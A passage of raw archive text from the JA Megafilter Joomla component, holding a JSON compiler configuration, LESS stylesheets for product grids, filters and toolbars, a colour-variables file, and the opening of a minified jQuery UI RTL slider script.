"autoCompile": true,
"pretty": true,
"doubleQuotes": false
},
"kit": {
"autoCompile": true,
"minifyHtml": false
},
"slim": {
"autoCompile": true,
"pretty": true,
"indent": "default"
},
"css": {
"autoCompile": false,
"sourceMaps": false,
"compress": true,
"cssnext": false,
"autoprefixer": false
},
"uglify": {
"compress": {
"sequences": true,
"properties": true,
"dead_code": true,
"drop_debugger": true,
"unsafe": false,
"unsafe_comps": false,
"conditionals": true,
"comparisons": true,
"evaluate": true,
"booleans": true,
"loops": true,
"unused": true,
"hoist_funs": true,
"keep_fargs": false,
"hoist_vars": false,
"if_return": true,
"join_vars": true,
"cascade": true,
"side_effects": true,
"pure_getters": false,
"negate_iife": true,
"screw_ie8": false,
"drop_console": false,
"angular": false,
"warnings": true,
"pure_funcs": null,
"global_defs": null
},
"output": {
"quote_keys": false,
"space_colon": true,
"ascii_only": false,
"unescape_regexps": false,
"inline_script": false,
"beautify": false,
"bracketize": false,
"semicolons": true,
"comments": false,
"preserve_line": false,
"screw_ie8": false,
"preamble": null
}
}
}
}
}
}
]PK�v�[~��w�wassets/less/style.lessnu�[���/**
*
------------------------------------------------------------------------
* JA Megafilter Component
*
------------------------------------------------------------------------
* Copyright (C) 2004-2017 J.O.O.M Solutions Co., Ltd. All Rights
Reserved.
* @license - Copyrighted Commercial Software
* Author: J.O.O.M Solutions Co., Ltd
* Websites: http://www.joomlart.com - http://www.joomlancers.com
* This file may not be redistributed in whole or significant part.
*
------------------------------------------------------------------------
*/
@import "variables.less";
:root {
--ja-mf-primary: #2196f3;
--ja-mf-success: #2196f3;
--ja-mf-info: #2196f3;
--ja-mf-warning: #2196f3;
--ja-mf-border: #dbdbdb;
--ja-mf-spacing: 8px;
--ja-mf-border-radius: 4px;
--ja-mf-trans-base: all 0.25s ease;
}
/* --------------------------------------------------------- */
/* GENERIC STYLES */
/* --------------------------------------------------------- */
.ja-megafilter-wrap.row {
margin-left: -15px;
margin-right: -15px;
}
.ja-megafilter-wrap,
.ja-megafilter-wrap * {
box-sizing: border-box;
}
.ja-megafilter-wrap {
.main-content {
float: right;
padding-left: 15px;
padding-right: 15px;
width: 75%;
}
.sidebar-main {
padding-left: 15px;
padding-right: 15px;
width: 25%;
float: left;
.sidebar-toggle {
display: none;
}
}
}
// PROGRESS BAR
// --------------------------------
#myProgress {
width: 97%;
margin: 0 auto;
#myBar {
width: 0%;
background-color: #ddd;
height: 3px;
transition:width 500ms ease;
}
#percentBar {
text-align: center;
font-size: 13px;
}
}
.loading_layer {
width: 100%;
height: 100%;
z-index: 10;
overflow: hidden;
background: #ffffff;
opacity: 0.6;
filter: alpha(opacity=60);
}
#loader {
display: block;
width: 150px;
height: 150px;
margin: 0 auto;
border-radius: 50%;
border: 3px solid transparent;
border-top-color: #16a085;
animation: spin 1.7s linear infinite;
z-index: 11;
&:before {
content: "";
position: absolute;
top: 5px;
left: 5px;
right: 5px;
bottom: 5px;
border-radius: 50%;
border: 3px solid transparent;
border-top-color: #e74c3c;
animation: spin-reverse .6s linear infinite;
}
&:after {
content: "";
position: absolute;
top: 15px;
left: 15px;
right: 15px;
bottom: 15px;
border-radius: 50%;
border: 3px solid transparent;
border-top-color: #f9c922;
animation: spin 1s linear infinite;
}
}
// Bourbon mixins
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
@keyframes spin-reverse {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(-360deg);
}
}
// SIDEBAR HORIZONTAL
// --------------------------------
.sb-horizontal.ja-mg-sidebar {
float: none;
width: auto;
.filter-options {
margin-left: -10px;
margin-right: -10px;
&:after {
content: "";
display: table;
clear: both;
}
.filter-field {
margin: 0 0 20px;
float: left;
width: 33.3%;
// Tablet
@media screen and (max-width: 768px) {
width: 50%;
}
// Mobile
@media screen and (max-width: 640px) {
width: 100%;
}
.filter-options-title {
margin-bottom: -13px;
padding-left: 30px;
span {
padding-left: 15px;
padding-right: 15px;
&:after {
display: none;
}
&:hover {
cursor: default;
}
}
}
.filter-options-content {
background-color: rgba(255, 255, 255, 0.5);
border: 1px solid #ddd;
min-height: 150px;
height: auto;
margin: 0 10px;
padding: 30px 20px 20px;
&:not(.filter-dropdown) {
overflow-y: auto;
height: 150px;
}
}
}
}
// Style for button
#jamegafilter-search-btn {
border-radius: 0;
box-shadow: none;
text-transform: uppercase;
font-weight: 600;
letter-spacing: 1px;
}
}
.ja-megafilter-wrap.sb-horizontal {
.main-content {
float: none;
width: 100%;
}
}
.main-content.full-width {
width: 100% !important;
}
/* --------------------------------------------------------- */
/* TOOLBAR STYLES */
/* --------------------------------------------------------- */
.products-toolbar .pagination {
margin: 0 0 calc(var(--ja-mf-spacing) * 2) auto;
overflow: hidden;
@media (min-width: 768px) {
margin-bottom: 0;
margin-left: 0;
}
& > li {
display: block;
float: left;
padding: 0 5px;
overflow: hidden;
& > span,
& > a {
border: 0;
border-bottom: 2px solid transparent;
color: @gray-dark;
display: block;
float: none;
line-height: 1;
margin: 0;
padding: 8px 2px;
text-transform: uppercase;
&:hover, &:focus, &:active {
background-color: transparent;
border-color: @gray;
}
}
&.active {
& > a {
background-color: transparent;
border-color: @brand-primary;
font-weight: bold;
&:hover, &:focus, &:active {
color: @brand-primary;
}
}
}
&:first-child,
&:last-child {
a, span {
border-radius: 0;
}
}
&.disabled {
a {
color: #ccc;
&:hover, &:focus, &:active {
border-color: transparent;
}
}
}
}
}
.ja-toolbar-wrapper {
&.toolbar-top {
margin-bottom: calc(var(--ja-mf-spacing) * 4);
}
}
.products-toolbar {
// Pagination
// ----------
.pagination-wrap {
display: flex;
padding: var(--ja-mf-spacing) 0;
align-items: center;
justify-content: space-between;
&::before, &::after {
display: none;
}
}
// Display number
// --------------
.orderby-displaynumber {
background-color: #f0f0f0;
padding: calc(var(--ja-mf-spacing) * 1.5) calc(var(--ja-mf-spacing) *
2);
position: relative;
vertical-align: middle;
display: flex;
flex-direction: column;
align-items: flex-start;
justify-content: flex-start;
@media (min-width: 768px) {
flex-direction: row;
align-items: center;
justify-content: flex-start;
}
&::before, &::after {
display: none;
}
.limiter {
display: inline-block;
width: auto;
@media (min-width: 768px) {
margin-left: calc(var(--ja-mf-spacing) * 2);
}
.limiter-options {
display: inline-block;
@media screen and (max-width: 640px) {
max-width: 60px;
}
}
.limiter-label {
span {
padding-left: 0;
}
}
}
.toolbar-amount {
margin-left: 8px;
margin-top: 0;
display: none;
@media (min-width: 768px) {
display: block;
}
}
}
label,
.sorter-options,
.sorter-action,
#sorter_chzn,
#limiter_chzn {
display: inline-block;
}
span {
height: auto;
padding: 0 5px;
vertical-align: middle;
width: auto;
}
label {
font-weight: normal;
margin-bottom: 0;
}
select {
border-radius: 0;
box-shadow: none;
}
// Sort
.toolbar-sorter {
margin-bottom: var(--ja-mf-spacing);
@media (min-width: 992px) {
margin-bottom: 0;
}
.sorter-label {
margin-right: var(--ja-mf-spacing);
}
.sorter-action {
margin-left: var(--ja-mf-spacing);
}
.sorter-options {
@media screen and (max-width: 640px) {
max-width: 120px;
}
}
.action {
background-color: #096;
border: 0;
color: #fff;
float: none;
height: 34px;
line-height: 30px;
padding: 0;
vertical-align: middle;
text-align: center;
width: 32px;
&.sort-asc {
.fa-long-arrow-up:before {
content: "\f175";
}
}
}
}
// Amount
.toolbar-amount {
background: transparent;
border: 0;
padding: 0;
.toolbar-number {
display: inline-block;
height: auto;
line-height: 1;
padding: 0 5px;
width: auto;
}
}
// Layout chooser
// --------------
.jamg-layout-chooser {
display: none;
position: absolute;
top: calc(var(--ja-mf-spacing) * 1.5);
right: calc(var(--ja-mf-spacing) * 2);
@media (min-width: 768px) {
display: block;
}
@media (min-width: 992px) {
position: relative;
top: auto;
right: auto;
margin-left: auto;
}
span {
background-color: @white;
border: 1px solid @gray-lighter;
color: @gray;
display: inline-block;
height: 32px;
line-height: 32px;
margin-left: 5px;
text-align: center;
width: 32px;
&:hover {
cursor: pointer;
color: @gray-dark;
}
&.active {
border-color: @blue;
color: @blue;
}
}
}
}
// PRODUCTS
// ---------------------------------------
.ja-products-wrapper .product-items {
display: grid;
// grid-template-columns: repeat(3, 1fr);
gap: calc(var(--ja-mf-spacing) * 3);
align-items: stretch;
margin-bottom: calc(var(--ja-mf-spacing) * 3);
}
.ja-products-wrapper {
// Product item
// ------------
.product-item {
// margin-bottom: var(--ja-mf-spacing);
min-width: 0;
.product-item-info {
background: #fff;
border: 1px solid var(--ja-mf-border);
padding: calc(var(--ja-mf-spacing) * 2);
height: 100%;
transition: var(--ja-mf-trans-base);
&:hover {
border-color: var(--ja-mf-primary);
}
table {
span.color-item-bg {
border-radius: 2px;
box-shadow: 0 0 1px rgba(0,0,0,0.2) inset !important;
}
img {
max-width: 100%;
}
}
> h4 {
font-size: 14px;
font-weight: 400;
}
}
.item-field {
margin-bottom: var(--ja-mf-spacing);
}
.item-field a {
word-wrap: break-word;
}
// Product image
a.product-item-photo {
position: relative;
img {
max-width: 100%;
}
.product-image-badge {
position: absolute;
top: @spacing / 2;
right: @spacing / 2;
}
}
// Product name
.name {
margin-bottom: calc(var(--ja-mf-spacing) * 1.5);
}
.product-item-name {
font-size: 120%;
font-weight: 500;
margin: 0;
line-height: 1.3;
}
// Product description
.desc {
margin-bottom: calc(var(--ja-mf-spacing) * 1.5);
}
.price-box {
font-weight: 500;
font-size: 15px;
.old_price {
color: @gray;
margin-right: @spacing / 2;
text-decoration: line-through;
}
}
// Actions
.product-item-actions {
.addtocart-bar {
overflow: hidden;
.quantity-input {
border-radius: 0;
box-shadow: none;
display: block;
float: left;
height: 36px;
max-width: 50px;
}
.quantity-controls {
display: inline-block;
margin-right: 10px;
margin-left: 2px;
overflow: hidden;
width: 17px;
input {
background-color: @gray-lighter;
background-image: url(../images/quantity-bg.png);
background-repeat: no-repeat;
border: 1px solid #ddd;
border-radius: 0;
height: 17px;
float: left;
margin: 0;
width: 17px;
-webkit-appearance: none;
&.quantity-plus {
background-position: left bottom;
margin-bottom: 2px;
}
&.quantity-minus {
background-position: -15px -15px;
}
&:hover {
border-color: #333;
}
}
}
}
}
.addtocart-button {
float: right;
.btn {
background-color: @brand-primary;
border: 0;
border-radius: 3px;
color: #fff;
font-weight: 600;
font-size: 13px;
letter-spacing: 0.5px;
padding: 10px 15px;
text-transform: uppercase;
&:hover, &:focus, &:active {
background-color: darken(@brand-primary, 5%);
}
}
}
}
}
// LIST VIEW
// -----------------------------------------
.ja-products-wrapper.list {
.list {
&.product-items {
grid-template-columns: repeat(1, 1fr);
}
.product-item {
margin-bottom: 0;
&:last-child .product-item-info {
border-bottom: 0;
padding-bottom: 0;
}
.product-item-info {
border: 0;
border-bottom: 1px solid #ddd;
padding-left: calc(var(--ja-mf-spacing) * 23);
padding-right: 0;
position: relative;
overflow: hidden;
min-height: 200px;
&:hover {
box-shadow: none;
}
&.no-image {
padding-left: 0;
}
.product-item-details {
overflow: hidden;
}
.thumb {
position: absolute;
left: 0;
top: 20px;
}
.product-item-photo {
background-color: #fff;
margin-bottom: 0;
padding: 0;
img {
max-width: calc(var(--ja-mf-spacing) * 20);
}
}
.product-item-actions {
float: left;
}
}
}
}
}
// PRODUCT ITEM GRID
// -----------------------------------------
// One column
.ja-products-wrapper .cols-1.product-items {
grid-template-columns: repeat(1, 1fr);
}
// Two columns
.ja-products-wrapper .cols-2.product-items {
@media (min-width: 768px) {
grid-template-columns: repeat(2, 1fr);
}
}
// Three columns
.ja-products-wrapper .cols-3.product-items {
@media (min-width: 768px) {
grid-template-columns: repeat(2, 1fr);
}
@media (min-width: 992px) {
grid-template-columns: repeat(3, 1fr);
}
}
// Four columns
.ja-products-wrapper .cols-4.product-items {
@media (min-width: 768px) {
grid-template-columns: repeat(2, 1fr);
}
@media (min-width: 992px) {
grid-template-columns: repeat(4, 1fr);
}
}
// Five columns
.ja-products-wrapper .cols-5.product-items {
@media (min-width: 768px) {
grid-template-columns: repeat(2, 1fr);
}
@media (min-width: 992px) {
grid-template-columns: repeat(3, 1fr);
}
@media (min-width: 1200px) {
grid-template-columns: repeat(5, 1fr);
}
}
.ja-products-wrapper .cols-6.product-items {
@media (min-width: 768px) {
grid-template-columns: repeat(2, 1fr);
}
@media (min-width: 992px) {
grid-template-columns: repeat(3, 1fr);
}
@media (min-width: 1200px) {
grid-template-columns: repeat(6, 1fr);
}
}
.ja-products-wrapper .cols-7.product-items {
@media (min-width: 768px) {
grid-template-columns: repeat(2, 1fr);
}
@media (min-width: 992px) {
grid-template-columns: repeat(3, 1fr);
}
@media (min-width: 1200px) {
grid-template-columns: repeat(7, 1fr);
}
}
.ja-products-wrapper .cols-8.product-items {
@media (min-width: 768px) {
grid-template-columns: repeat(2, 1fr);
}
@media (min-width: 992px) {
grid-template-columns: repeat(3, 1fr);
}
@media (min-width: 1200px) {
grid-template-columns: repeat(8, 1fr);
}
}
.ja-products-wrapper .cols-9.product-items {
@media (min-width: 768px) {
grid-template-columns: repeat(2, 1fr);
}
@media (min-width: 992px) {
grid-template-columns: repeat(3, 1fr);
}
@media (min-width: 1200px) {
grid-template-columns: repeat(9, 1fr);
}
}
.ja-products-wrapper .cols-10.product-items {
@media (min-width: 768px) {
grid-template-columns: repeat(2, 1fr);
}
@media (min-width: 992px) {
grid-template-columns: repeat(3, 1fr);
}
@media (min-width: 1200px) {
grid-template-columns: repeat(10, 1fr);
}
}
.ja-products-wrapper .product-item-details {
background: none;
padding: 0;
border: 0;
float: none;
display: block;
min-width: 0;
border-radius: 0;
font-size: 14px;
line-height: 1.7142; /* 20px when font size = 14px */
}
.ja-products-wrapper .product-item-details:hover {
color: inherit;
background: none;
}
.ja-products-wrapper .product-item-photo {
display: block;
border-bottom: 0;
margin-bottom: 20px;
.product-image-container {
display: block;
position: relative;
overflow: hidden;
text-align: center;
}
.product_label {
position: absolute;
top: 0;
right: 0;
}
}
.ja-products-wrapper .product-item-actions {
margin-top: 20px;
overflow: hidden;
}
.ja-products-wrapper .addtocart-bar {
text-align: left;
}
/* Product reviews summary */
.ja-products-wrapper .product-reviews-summary .rating-summary,
.ja-products-wrapper .product-reviews-summary .reviews-actions {
display: inline-block;
}
.ja-products-wrapper .product-reviews-summary {
margin-bottom: 10px;
}
.ja-products-wrapper .product-reviews-summary .rating-summary {
line-height: 1;
padding-top: 5px;
padding-bottom: 5px;
}
.ja-products-wrapper .product-reviews-summary .rating-summary > span {
margin-right: 5px;
}
.filter-items .rating-result,
.ja-products-wrapper .rating-result {
background: url("../images/color-stars.png") repeat-x 0
bottom;
text-align: left;
height: 12px;
width: 60px;
display: inline-block;
position: relative;
}
.filter-items .rating-result span,
.ja-products-wrapper .rating-result span {
background: url("../images/color-stars.png") repeat-x 0 0;
height: 12px;
position: absolute;
left: 0;
}
.filter-items .rating-result {
margin: 3px 3px 0 3px;
top: 1px;
}
/* Stock */
.ja-products-wrapper .stock.unavailable {
color: red;
}
.ja-products-wrapper .stock.available {
color: green;
}
// Toolbar bottom
// --------------------------
div.toolbar-bottom {
border-top: 1px solid #ddd;
padding-top: 20px;
span {
height: auto;
}
}
/* --------------------------------------------------------- */
/* FILTER STYLES */
/* --------------------------------------------------------- */
.ja-filter-wrapper .filter-content {
background-color: @gray-lighter;
padding: @spacing;
// Select filter
.selected-filters {
ol {
list-style: none;
padding-left: 0;
padding-right: 0;
li.item {
padding: 5px;
label {
font-weight: 400;
}
.filter-label {
opacity: 0.6;
}
.filter-value {
.img-selected {
border-radius: 2px;
max-width: 40px;
}
}
}
}
}
.block-subtitle {
border-bottom: 1px solid lighten(@gray-light, 10%);
font-size: 15px;
font-weight: 600;
letter-spacing: 0.5px;
margin: 0 0 @spacing;
padding: 0 0 (@spacing / 2);
text-transform: uppercase;
}
input[type="checkbox"],
input[type="radio"] {
margin-top: 0;
margin-right: 3px;
margin-left: 3px;
margin-bottom: 3px;
vertical-align: middle;
}
.input-text {
border-radius: 0;
box-shadow: none;
width: 100%;
&.jafrom,
&.jato {
padding-right: 15px;
}
}
.filter-items {
box-shadow: none;
border-radius: 0;
width: 100%;
.item.lv-2 {
background: url(../images/tree-bg.png) no-repeat 0px center;
padding-left: 20px;
}
.item.lv-3 {
background: url(../images/tree-bg.png) no-repeat 20px center;
padding-left: 40px;
}
.item.lv-4 {
background: url(../images/tree-bg.png) no-repeat 40px center;
padding-left: 60px;
}
.item.lv-5 {
background: url(../images/tree-bg.png) no-repeat 60px center;
padding-left: 80px;
}
}
.filter-options-title {
margin-bottom: @spacing / 1.5;
span {
background-color: darken(@gray-lighter, 5%);
border-radius: 2px;
display: inline-block;
font-size: 12px;
letter-spacing: 1px;
padding: 5px 10px 5px 28px;
position: relative;
text-transform: uppercase;
&:hover {
cursor: pointer;
&:after {
color: @gray-dark;
}
}
&:after {
content: "\f146";
color: @gray;
display: block;
font-family: FontAwesome;
font-size: 14px;
position: absolute;
top: 5px;
left: 8px;
}
}
&.collapsed span:after {
content: "\f0fe";
}
}
// Filter option content
.filter-range .filter-options-content {
padding-left: 0;
padding-right: 20px;
label {
font-weight: normal;
}
.ui-widget-content {
background: none;
}
.ui-slider-horizontal {
background-color: @brand-primary;
border-radius: 0;
border: 0;
height: 6px;
margin-left: 0;
margin-right: 0;
width: 100%;
.ui-slider-range {
background-color: @gray;
border: 0;
border-radius: 0;
height: 6px;
}
.ui-slider-handle {
background: @white;
border: 1px solid @gray-light;
border-radius: 50%;
box-shadow: 0 0 3px rgba(0,0,0,0.2);
height: 14px;
margin-left: 0;
margin-right: 0;
width: 14px;
}
}
}
.filter-items {
li {
padding: 3px 0;
&:first-child {
padding-top: 0;
}
}
label {
margin-bottom: 0;
font-weight: normal;
}
}
// Filter colors
.color-item {
float: left;
margin: 2px;
padding: 0 !important;
span.color-item-bg {
border: 1px solid rgba(0,0,0,0.1);
border-radius: 2px;
display: block;
position: relative;
min-height: 28px;
line-height: 28px;
min-width: 28px;
text-align: center;
transition: all 0.35s;
&:hover {
border: 1px solid rgba(0,0,0,0.3);
cursor: pointer;
opacity: 0.8;
}
&.color-active {
&:before {
background: #fff;
border: 1px solid rgba(0,0,0,0.2);
border-radius: 50%;
display: block;
content: "";
height: 10px;
position: absolute;
top: 8px;
left: 8px;
width: 10px;
}
}
}
}
// Media item
// ----------
.filter-items .media-item {
padding: 5px !important;
float: left;
width: 25%;
img {
border: 1px solid #ddd;
border-radius: 2px;
max-width: 100%;
&.media-active {
border: 1px solid #096;
}
}
}
}
.ja-filter-wrapper .filter-content .filter-field + .filter-field {
margin-top: 20px;
}
.ja-filter-wrapper .filter-options-title {
margin-bottom: 10px;
}
/* Range */
.ja-filter-wrapper .filter-range .filter-options-content {
padding: 0 0.6em;
}
.ja-filter-wrapper .range-value {
margin-top: 10px;
}
.ja-filter-wrapper .range-max {
float: right;
}
/* Filter Selected */
.ja-filter-wrapper ol,
.ja-filter-wrapper ul {
padding-left: 20px;
margin-left: 0;
}
.ja-filter-wrapper dd {
margin-left: 0;
}
.ja-filter-wrapper select,
.ja-filter-wrapper input[type="text"] {
max-width: 100%;
min-height: 28px;
}
.ja-filter-wrapper ul.filter-items {
padding-left: 0;
list-style: none;
overflow: hidden;
}
.ja-filter-wrapper ol.items .clear-filter .filter-label {
margin-right: 5px;
}
.ja-filter-wrapper ol.items li.item {
border-radius: 2px;
padding: 2px 5px;
}
.ja-filter-wrapper ol.items li.item:hover {
background-color: #fff;
}
.ja-filter-wrapper ol.items .clear-filter.remove {
position: relative;
padding-right: 20px;
display: block;
margin-bottom: 0;
}
.ja-filter-wrapper ol.items .clear-filter.remove:after {
content: "\f1f8";
font-family: FontAwesome;
position: absolute;
right: 5px;
top: 0;
cursor: pointer;
color: #999;
transition: all 0.35s;
}
.ja-filter-wrapper ol.items .clear-filter.remove:hover:after {
color: #096;
}
.ja-filter-wrapper ol.items li:hover {
}
.ja-filter-wrapper .filter-actions {
text-align: right;
}
/* Overide Jquery UI */
.ui-widget-header a {
border-bottom: 0;
}
.ui-datepicker .ui-datepicker-title select {
display: inline-block;
border-width: 1px;
}
.ui-datepicker .ui-datepicker-title select + select {
margin-left: 5px;
}
// OVERRIDE FOR JSHOPPING COMPONENT
// --------------------------------------------------
.ja-megafilter-wrap.jshopping {
.product-item-actions {
overflow: hidden;
.addtocart-area {
float: left;
}
.view-detail {
float: right;
.btn-default {
border: 1px solid transparent;
border-radius: 3px;
font-size: 13px;
font-weight: 500;
text-transform: uppercase;
padding: 9px 10px;
&:hover, &:focus, &:active {
background: transparent;
border-color: @gray-light;
}
}
}
}
}
// OVERRIDE FOR DOCMAN COMPONENT
// --------------------------------------------------
.chzn-container-single .chzn-single > span,
.chosen-container-single .chosen-single > span {
display: flex;
align-items: center;
> span {
margin-right: 6px;
display: inline-block;
}
}
// STYLE FOR RTL LANGUAGE
// --------------------------------------------------------
*[dir="rtl"] {
.ja-filter-wrapper .filter-actions {
margin-bottom: 20px;
}
.ja-filter-wrapper ol.items .clear-filter.remove {
padding-left: 20px;
padding-right: 0;
}
.ja-filter-wrapper ol.items .clear-filter.remove::after {
right: auto;
left: 5px;
}
.products-toolbar .toolbar-sorter {
float: right;
}
.ja-filter-wrapper .filter-content {
.filter-items {
padding-right: 0;
.item.lv-2 {
background: url(../images/tree-rtl-bg.png) no-repeat right center;
padding-right: 20px;
padding-left: 0;
}
.item.lv-3 {
background: url(../images/tree-rtl-lv2-bg.png) no-repeat right
center;
padding-right: 40px;
padding-left: 0;
}
.item.lv-4 {
background: url(../images/tree-rtl-lv3-bg.png) no-repeat right
center;
padding-right: 60px;
padding-left: 0;
}
.item.lv-5 {
background: url(../images/tree-rtl-lv4-bg.png) no-repeat right
center;
padding-right: 80px;
padding-left: 0;
}
}
}
.ja-filter-wrapper .filter-content .color-item {
float: right;
}
}
// RESPONSIVE STYLE
// --------------------------------------------------------
@media (min-width: 769px) and (max-width: 1024px) {
.ja-megafilter-wrap.docman {
.product-item-actions {
.btn {
margin-bottom: 10px;
margin-left: 0 !important;
width: 100%;
}
}
}
}
.jamega-row-flex {
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
flex: 1 1 auto;
overflow: hidden;
}
.jamega-row-flex > div[class*='col-'],
.jamega-row-flex > * {
margin: 0 -.3px; /* hack adjust for wrapping */
}
// Tablet
@media (max-width: 768px) {
.ja-megafilter-wrap {
position: relative;
// Sidebar
// -------------
.ja-mg-sidebar {
height: 50px;
overflow: hidden;
width: 100%;
&.open {
height: auto;
.filter-open {
display: none;
}
.filter-close {
display: inline-block;
}
}
.filter-close {
display: none;
}
.sidebar-toggle {
background-color: @gray;
color: @white;
display: block;
height: 50px;
font-weight: 500;
line-height: 50px;
letter-spacing: 1px;
text-align: center;
text-transform: uppercase;
width: 100%;
&:hover {
background-color: @brand-primary;
cursor: pointer;
text-decoration: none;
}
i {
margin-right: 5px;
vertical-align: middle;
}
}
}
// Main content
// ------------
.main-content {
width: 100%;
.ja-products-wrapper .product-item:nth-child(3n+1) {
clear: none !important;
}
.ja-products-wrapper .product-item:nth-child(2n+1) {
clear: left !important;
}
}
}
}
// Mobile
@media (max-width: 480px) {
.ja-megafilter-wrap {
.main-content {
.product-item {
width: 100%;
}
}
}
}
// MISC
// --------------------------------------------------------
.ja-products-wrapper.products-list .product-item-details .row.thumb
.col-md-12 {
position: initial;
}PK�v�[U�/���assets/less/variables.lessnu�[���//==
Color Palletes
//
//**
// Gray Levels
@gray-base: #000000;
@gray-darkest: #212121; //** added
@gray-darker: #424242;
@gray-dark: #616161;
@gray: #9e9e9e;
@gray-light: #bdbdbd;
@gray-lighter: #eeeeee;
@gray-lightest: #fafafa; //** added
// blue gray levels
@bluegray-darkest: #263238;
@bluegray-darker: #455a64;
@bluegray-dark: #607d8b;
@bluegray: #90a4ae;
@bluegray-light: #cfd8dc;
@bluegray-lighter: #eceff1;
@bluegray-lightest: #f6f8f8;
// accent colors
@white: #fff;
@blue: #2196f3;
@green: #4caf50;
@lime: #cddc39;
@cyan: #00bcd4;
@teal: #009688;
@red: #f44336;
@yellow: #ffeb3b;
@amber: #ffc107;
@orange: #ff9800;
@brown: #795548;
@pink: #e91e63;
@purple: #9c27b0;
@indigo: #3f51b5;
@blue-dark: darken(@blue,10%);
@green-dark: darken(@green,10%);
@lime-dark: darken(@lime,10%);
@cyan-dark: darken(@cyan,10%);
@teal-dark: darken(@teal,10%);
@red-dark: darken(@red,10%);
@yellow-dark: darken(@yellow,10%);
@amber-dark: darken(@amber,10%);
@orange-dark: darken(@orange,10%);
@brown-dark: darken(@brown,10%);
@pink-dark: darken(@pink,10%);
@purple-dark: darken(@purple,10%);
@indigo-dark: darken(@indigo,10%);
// Brand Colors
@brand-primary: @blue;
@brand-accent: @green; // Added
@brand-success: @green;
@brand-info: @cyan;
@brand-danger: @red;
@brand-warning: @orange;
// Other Brand colors
@brand-facebook: #3b5998;
@brand-twitter: #3a92c8;
@brand-google: #dd4b39;
@brand-dribbble: #c32361;
@brand-youtube: #b00;
@brand-pinterest: #cb2027;
@brand-linkedin: #006fa6;
//== Link color
@link-color: @brand-primary;
@link-hover-color: darken(@link-color, 10%);
@spacing:
20px;PK�v�[��ā0�0%assets/js/jquery.ui.slider-rtl.min.jsnu�[���/*
* jQuery UI Slider 1.8.9.rtl.1
*
* Copyright 2011, AUTHORS.txt (http://jqueryui.com/about)
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* http://docs.jquery.com/UI/Slider
*
* Depends:
* jquery.ui.core.js
* jquery.ui.mouse.js
* jquery.ui.widget.js
*/
(function($,g){var
h=5;$.widget("ui.slider",$.ui.mouse,{widgetEventPrefix:"slide",options:{animate:false,distance:0,max:100,min:0,orientation:"horizontal",isRTL:false,range:false,step:1,value:0,values:null},_create:function(){var
f=this,o=this.options;this._keySliding=false;this._mouseSliding=false;this._animateOff=true;this._handleIndex=null;this._detectOrientation();this._mouseInit();this.element.addClass("ui-slider"+"
ui-slider-"+this.orientation+(o.isRTL?"
ui-slider-rtl":"")+" ui-widget"+"
ui-widget-content"+"
ui-corner-all");if(o.disabled){this.element.addClass("ui-slider-disabled
ui-disabled")}this.range=$([]);if(o.range){if(o.range===true){this.range=$("<div></div>");if(!o.values){o.values=[this._valueMin(),this._valueMin()]}if(o.values.length&&o.values.length!==2){o.values=[o.values[0],o.values[0]]}}else{this.range=$("<div></div>")}this.range.appendTo(this.element).addClass("ui-slider-range");if(o.range==="min"||o.range==="max"){this.range.addClass("ui-slider-range-"+o.range)}this.range.addClass("ui-widget-header")}if($(".ui-slider-handle",this.element).length===0){$("<a
href='#'></a>").appendTo(this.element).addClass("ui-slider-handle")}if(o.values&&o.values.length){while($(".ui-slider-handle",this.element).length<o.values.length){$("<a
href='#'></a>").appendTo(this.element).addClass("ui-slider-handle")}}this.handles=$(".ui-slider-handle",this.element).addClass("ui-state-default"+"
ui-corner-all");this.handle=this.handles.eq(0);this.handles.add(this.range).filter("a").click(function(a){a.preventDefault()}).hover(function(){if(!o.disabled){$(this).addClass("ui-state-hover")}},function(){$(this).removeClass("ui-state-hover")}).focus(function(){if(!o.disabled){$(".ui-slider
.ui-state-focus").removeClass("ui-state-focus");$(this).addClass("ui-state-focus")}else{$(this).blur()}}).blur(function(){$(this).removeClass("ui-state-focus")});this.handles.each(function(i){$(this).data("index.ui-slider-handle",i)});this.handles.keydown(function(c){var
d=true,index=$(this).data("index.ui-slider-handle"),allowed,curVal,newVal,step;if(f.options.disabled){return}switch(c.keyCode){case
$.ui.keyCode.HOME:case $.ui.keyCode.END:case $.ui.keyCode.PAGE_UP:case
$.ui.keyCode.PAGE_DOWN:case $.ui.keyCode.UP:case $.ui.keyCode.RIGHT:case
$.ui.keyCode.DOWN:case
$.ui.keyCode.LEFT:d=false;if(!f._keySliding){f._keySliding=true;$(this).addClass("ui-state-active");allowed=f._start(c,index);if(allowed===false){return}}break}step=f.options.step;if(f.options.values&&f.options.values.length){curVal=newVal=f.values(index)}else{curVal=newVal=f.value()}var
e=function(a,b){if(curVal===a){return}newVal=f._trimAlignValue(curVal+b)};switch(c.keyCode){case
$.ui.keyCode.HOME:newVal=f._valueMin();break;case
$.ui.keyCode.END:newVal=f._valueMax();break;case
$.ui.keyCode.PAGE_UP:newVal=f._trimAlignValue(curVal+((f._valueMax()-f._valueMin())/h));break;case
$.ui.keyCode.PAGE_DOWN:newVal=f._trimAlignValue(curVal-((f._valueMax()-f._valueMin())/h));break;case
$.ui.keyCode.UP:e(f._valueMax(),step);break;case
$.ui.keyCode.RIGHT:e(f._valueMax(),f.options.isRTL?-step:step);break;case
$.ui.keyCode.DOWN:e(f._valueMin(),-step);break;case
$.ui.keyCode.LEFT:e(f._valueMin(),f.options.isRTL?step:-step);break}f._slide(c,index,newVal);return
d}).keyup(function(a){var
b=$(this).data("index.ui-slider-handle");if(f._keySliding){f._keySliding=false;f._stop(a,b);f._change(a,b);$(this).removeClass("ui-state-active")}});this._refreshValue();this._animateOff=false},destroy:function(){this.handles.remove();this.range.remove();this.element.removeClass("ui-slider"+"
ui-slider-horizontal"+" ui-slider-vertical"+"
ui-slider-disabled"+" ui-widget"+"
ui-widget-content"+"
ui-corner-all").removeData("slider").unbind(".slider");this._mouseDestroy();return
this},_mouseCapture:function(b){var
o=this.options,position,normValue,distance,closestHandle,self,index,allowed,offset,mouseOverHandle;if(o.disabled){return
false}this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()};this.elementOffset=this.element.offset();position={x:b.pageX,y:b.pageY};normValue=this._normValueFromMouse(position);distance=this._valueMax()-this._valueMin()+1;self=this;this.handles.each(function(i){var
